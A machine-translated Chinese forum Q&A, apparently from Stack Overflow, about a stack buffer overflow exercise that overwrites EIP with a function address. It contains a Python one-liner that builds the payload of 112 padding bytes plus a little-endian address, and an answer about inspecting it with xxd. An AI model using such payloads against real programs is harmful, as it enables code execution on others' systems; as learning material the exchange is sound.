我试图引发缓冲区溢出,以便在C代码上执行函数。到目前为止,我已经设法找出什么是字节数接管EBP寄存器。接下来唯一的事情是将EIP的地址替换为我希望执行的函数。我试图用python生成这个负载。为此,我使用以下
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
这就是我得到的
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�
注意最后几个字符!我知道这不是我应该得到的。我想在EIP
寄存器上运行的地址是0804863b
。我必须把这个放在little endian
上才能正常运行漏洞攻击。对此有何评论?由于这个原因不能进一步利用。。。
我不知道你是怎么看你的攻击载荷文件的。但是你不应该只是把它转储到终端或者在编辑器中查看它,因为在这种情况下,数据将被解释为字符。相反,您应该对文件执行一些hexdump操作,例如使用xxd:
正如您在最后一行看到的,字节
\x3b\x86\x04\x08
实际上大部分是您所期望的。您可能不希望在文件末尾出现换行符\x0a
(即\n
),但python中的print
就是这样添加的。如果您不想这样做,请不要使用print
,但是:相关问题 更多 >
编程相关推荐